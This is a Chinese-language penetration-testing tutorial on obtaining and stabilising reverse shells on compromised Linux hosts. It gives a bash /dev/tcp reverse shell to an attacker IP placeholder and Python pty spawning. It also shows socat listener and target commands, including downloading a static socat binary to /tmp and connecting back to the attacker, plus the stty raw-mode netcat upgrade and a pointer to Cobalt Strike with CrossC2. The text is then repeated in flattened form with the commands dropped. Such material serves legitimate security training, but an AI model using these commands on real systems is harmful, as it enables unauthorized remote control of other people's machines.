获取完美shell
字数 1080 2025-08-06 23:10:31

获取完美Shell的完整指南

0x01 获取完美Shell的必要性

在使用webshell或反弹shell时通常会遇到以下问题:

  • 命令执行受限
  • 非交互式环境
  • Ctrl+C会断开连接
  • 缺少命令补全功能
  • 可能出现乱码情况

这些问题会影响渗透测试的效率,特别是进行提权等操作时。下面介绍几种提升shell质量的方法。

1.1 基础反弹Shell

使用bash进行TCP反弹Shell:

bash -i >& /dev/tcp/攻击机IP/端口 0>&1

特点

  • 方向键历史记录不可用
  • 部分交互命令(如su/vim)可能执行失败
  • Ctrl+C会直接断开连接

1.2 Python PTY方式

前提条件:目标主机安装有Python

检查Python是否存在:

rpm -qa | grep python

使用Python创建伪终端:

python -c 'import pty; pty.spawn("/bin/bash")'

说明

  • pty是Python的虚拟终端库
  • spawn函数创建一个进程并将其控制终端与当前进程的标准IO连接
  • 可以解决部分su命令执行问题
  • 功能提升有限

1.3 使用Socat建立完整TTY

特点:需要攻击机和目标主机都安装或上传socat

攻击机操作

安装socat(Kali通常已自带):

sudo apt install socat

监听端口:

socat file:tty,raw,echo=0 tcp-listen:4444

目标主机操作

下载socat(如无法访问GitHub需本地下载后上传):

wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat

设置权限并反弹:

chmod 755 /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机IP:4444

优势

  • 支持vim等交互式命令
  • Ctrl+C不会直接断开连接
  • 断开需使用exit命令

1.4 高级Netcat升级方法

步骤1:收集信息

echo $TERM
stty -a

步骤2:接收Shell并创建Python交互

python -c 'import pty; pty.spawn("/bin/bash")'

步骤3:挂起后台

Ctrl+Z
jobs -l

步骤4:重置STTY

stty raw -echo
fg

步骤5:刷新终端

reset

步骤6:设置环境变量

export SHELL=bash
export TERM=xterm
stty rows 行数 columns 列数

完整流程

  1. 获取初始shell
  2. 使用Python创建伪终端
  3. 挂起到后台(Ctrl+Z)
  4. 重置终端设置(stty raw -echo)
  5. 恢复前台任务(fg)
  6. 重置终端(reset)
  7. 设置正确的环境变量

1.5 上线到Cobalt Strike

注意事项

  • 原生CS不支持Linux主机上线
  • 需使用CrossC2插件
  • 配置过程较为复杂,需参考专门教程

总结对比

方法 需要条件 交互性 稳定性 复杂度
基础反弹 简单
Python PTY 需Python 简单
Socat 需上传/安装 中等
Netcat升级 最高 最高 复杂

推荐选择

  • 简单场景:Python PTY
  • 稳定需求:Socat
  • 完美终端:Netcat升级方法
获取完美Shell的完整指南 0x01 获取完美Shell的必要性 在使用webshell或反弹shell时通常会遇到以下问题: 命令执行受限 非交互式环境 Ctrl+C会断开连接 缺少命令补全功能 可能出现乱码情况 这些问题会影响渗透测试的效率,特别是进行提权等操作时。下面介绍几种提升shell质量的方法。 1.1 基础反弹Shell 使用bash进行TCP反弹Shell: 特点 : 方向键历史记录不可用 部分交互命令(如su/vim)可能执行失败 Ctrl+C会直接断开连接 1.2 Python PTY方式 前提条件 :目标主机安装有Python 检查Python是否存在: 使用Python创建伪终端: 说明 : pty 是Python的虚拟终端库 spawn 函数创建一个进程并将其控制终端与当前进程的标准IO连接 可以解决部分su命令执行问题 功能提升有限 1.3 使用Socat建立完整TTY 特点 :需要攻击机和目标主机都安装或上传socat 攻击机操作 安装socat(Kali通常已自带): 监听端口: 目标主机操作 下载socat(如无法访问GitHub需本地下载后上传): 设置权限并反弹: 优势 : 支持vim等交互式命令 Ctrl+C不会直接断开连接 断开需使用exit命令 1.4 高级Netcat升级方法 步骤1:收集信息 步骤2:接收Shell并创建Python交互 步骤3:挂起后台 步骤4:重置STTY 步骤5:刷新终端 步骤6:设置环境变量 完整流程 : 获取初始shell 使用Python创建伪终端 挂起到后台(Ctrl+Z) 重置终端设置(stty raw -echo) 恢复前台任务(fg) 重置终端(reset) 设置正确的环境变量 1.5 上线到Cobalt Strike 注意事项 : 原生CS不支持Linux主机上线 需使用CrossC2插件 配置过程较为复杂,需参考专门教程 总结对比 | 方法 | 需要条件 | 交互性 | 稳定性 | 复杂度 | |------|---------|--------|--------|--------| | 基础反弹 | 无 | 低 | 低 | 简单 | | Python PTY | 需Python | 中 | 中 | 简单 | | Socat | 需上传/安装 | 高 | 高 | 中等 | | Netcat升级 | 无 | 最高 | 最高 | 复杂 | 推荐选择 : 简单场景:Python PTY 稳定需求:Socat 完美终端:Netcat升级方法